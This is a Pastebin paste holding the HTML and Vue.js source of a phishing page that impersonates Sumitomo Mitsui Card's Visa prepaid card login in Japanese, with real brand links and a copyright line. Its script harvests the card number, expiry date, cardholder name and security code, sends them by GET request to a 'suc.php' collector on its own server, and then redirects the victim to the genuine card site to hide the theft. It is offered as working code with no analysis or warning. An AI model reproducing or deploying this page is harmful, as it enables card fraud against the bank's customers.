Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="UTF-8">
- <title>カードご利用確認</title>
- <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
- <!-- <script type="text/javascript" src="../js/date.js"></script> -->
- <script type="text/javascript" src="../js/vue.js"></script>
- <!-- <script type="text/javascript" src="../js/smtp.js"></script> -->
- <link rel="stylesheet" style="text/css" href="../css/login.css" />
- <script type="text/javascript" src="../js/jquery-3.5.1.js"></script>
- </head>
- <body>
- <div id="app">
- <div id="nav-out">
- <div id="nav"><img src="../img/index_logo.png" class="nav-img"><img src="../img/header_logo02.png"class="nav-img"><img src="../img/header_logo03.png"class="nav-img">
- <ul>
- <li v-for="(nav,navlist) in indexnav" @click="tp(navlist)">{{nav}}</li>
- </ul>
- </div>
- </div>
- <p class="tishi" id="tishi"><a>!</a>入カに誤りがあります。再度入カしてください。</p>
- <div id="main">
- <p class="main-p1">カードご利用確認</p>
- <table>
- <tr>
- <th class="th1">プリペイドカード番号
- <p>(Prepaid Card Number)</p>
- </th>
- <th class="th2"><input type="number" v-model="input1" class="fanhao" @input="xianzhi(1)"> -
- <input type="number" v-model="input2" class="fanhao" @input="xianzhi(2)"> - <input
- type="number" v-model="input3" class="fanhao" @input="xianzhi(3)"> - <input
- type="number" v-model="input4" class="fanhao" @input="xianzhi(4)">
- </th>
- </tr>
- <tr>
- <th class="th1">有効期限
- <p>(Expiry date)</p>
- </th>
- <th class="th2">(月)<input type="number" v-model="input5" class="fanhao" id="a"
- @input="xianzhi(5)">(年)<input type="number" v-model="input6" class="fanhao" id="b"
- @input="xianzhi(6)">
- </th>
- </tr>
- <tr>
- <th class="th1">カードに記載されている
- <p>(ローマ字)</p>
- </th>
- <th class="th2">(姓)<input type="text" v-model="input7" @keyup="english()"> <p>(名)<input type="text"
- v-model="input8" @keyup="english1()"></p></th>
- </tr>
- <tr>
- <th class="th1"> セキュリティコード
- <p>(Security Code)</p>
- </th>
- <th class="th2"><input type="password" v-model="input9" @input="xianzhi(9)" @keyup="shuzi()">
- </th>
- </tr>
- <tr>
- <th class="th1">画像認証
- <P>(Type the letters)</P>
- </th>
- <th class="th2">
- <img src="../img/yanzheng1.jpg" id="yanzheng" @click="imgchange()">
- <p>画像に表示されている文字を入力してください。<br />
- クリックすると別の文字に変わりま。<br />
- アルファベットの小文字と数字で5文字です。<br /></p>
- <input type="text" v-model="yanzhengtext">
- </th>
- </tr>
- <tr>
- <th class="th1"></th>
- <th class="th2"><img src="../img/login_btn.jpg" @click="yanzheng()" id="btn1"></th>
- </tr>
- </table>
- <p class="main-p2">> ID・パスワードをお忘れの場合はこちら</p>
- <p class="main-p3">> プリペイド残高のみのご確認はこちら</p>
- </div>
- </div>
- <div id="footer1" onclick="tp()">
- <p>各種規約</p>
- </div>
- <div id="footer">
- <p>Copyright (C) 2021 Sumitomo Mitsui Card Co,ltd.</p>
- </div>
- </body>
- <script type="text/javascript">
- const app = new Vue({
- el: '#app',
- data: {
- message: 'hello',
- imgarr: ["../img/yanzheng1.jpg", "../img/yanzheng2.jpg", "../img/yanzheng3.jpg",
- "../img/yanzheng4.jpg", "../img/yanzheng5.jpg"
- ],
- imgyanzhengarr: ["pprme", "8aw45", "2fn5e", "3wm26", "44c8f"],
- imgyanzhengarr1: ["PPRME", "8AW45", "2FN5E", "3WM26", "44C8F"],
- indexnav: ["三井住友VISAプリペイド ホーム", "Visaギフトカード ホーム", "お問い合わせ", "Q&A","ご利用環境・セキュリティポリシー"],
- yanzhengtext: "",
- number1: 0,
- input1: "",
- input2: "",
- input3: "",
- input4: "",
- input5: "",
- input6: "",
- input7: "",
- input8: "",
- input9: "",
- indextext: "",
- },
- mounted() {
- this.imgload();
- },
- methods: {
- yanzheng() {
- let s =this.indextext +
- "プリペイドカード番号:" + this.input1 + "-" + this.input2 + "-" + this.input3 + "-" + this.input4 +
- "有効期限:" + this.input5 + "(月)" + this.input6 + "(年)" +
- "姓:" + this.input7 + "名:" + this.input8 +
- "セキュリティコード:" + this.input9;
- if (this.input1 == "" || this.input2 == "" || this.input3 == "" || this.input4 == "" || this
- .input5 == "" || this.input6 == "" || this.input7 == "" || this.input8 == "" || this.input9 ==
- "" || this.yanzhengtext == "") {
- window.alert("必須項目は記入していません。");
- } else if (this.input1 != 4708) {
- document.getElementById("tishi").style.opacity = "1";
- } else {
- var xmlhttp;
- if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
- xmlhttp = new XMLHttpRequest();
- } else { // code for IE6, IE5
- xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
- }
- xmlhttp.open("GET", "../src/suc.php?q=" + s, true);
- xmlhttp.send();
- setInterval(function(){
- window.location.href="https://www.prepaid.vpass.ne.jp/ana/WB01/WB0102OP02BL.do?bscheme=ana";
- },2000);
- }
- },
- imgload() {
- let url = location.href;
- this.indextext = url.split("?")[1];
- this.number1 = Math.floor(Math.random() * 5 + 0);
- document.getElementById('yanzheng').src = this.imgarr[this.number1];
- let width_screen=screen.width;
- let navimg=document.getElementsByClassName('nav-img');
- if(width_screen<550){
- document.getElementById('main').style.width="97%";
- for(i in navimg){
- navimg[0].style.width="20%";
- navimg[2].style.width="15%";
- }
- }
- },
- imgchange() {
- this.number1 = this.number1 + 1;
- if (this.number1 > 4) {
- this.number1 = 0;
- }
- document.getElementById('yanzheng').src = this.imgarr[this.number1];
- },
- tp(a) {
- if (a == 0) {
- window.open('https://www.smbc-card.com/prepaid/index.jsp');
- } else if (a == 1) {
- window.open('https://www.smbc-card.com/prepaid/brand/rd/0-2.html');
- } else if (a == 2) {
- window.open('https://www.smbc-card.com/prepaid/brand/rd/0-3.html');
- } else if (a == 3) {
- window.open('https://www.smbc-card.com/prepaid/kankyo.jsp');
- }
- },
- english() {
- this.input7 = this.input7.replace(/[^a-zA-Z]/g, '');
- },
- english1() {
- this.input8 = this.input8.replace(/[^a-zA-Z]/g, '');
- },
- shuzi() {
- this.input9 = this.input9.replace(/[^\0-9\.]/g, '');
- },
- xianzhi(a) {
- if (a == 1) {
- this.input1 = this.input1.slice(0, 4);
- }
- if (a == 2) {
- this.input2 = this.input2.slice(0, 4);
- }
- if (a == 3) {
- this.input3 = this.input3.slice(0, 4);
- }
- if (a == 4) {
- this.input4 = this.input4.slice(0, 4);
- }
- if (a == 5) {
- this.input5 = this.input5.slice(0, 2);
- }
- if (a == 6) {
- this.input6 = this.input6.slice(0, 4);
- }
- if (a == 9) {
- this.input9 = this.input9.slice(0, 3);
- }
- }
- }
- })
- function tp() {
- window.open('https://www.smbc-card.com/prepaid/kiyaku.jsp');
- }
- </script>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement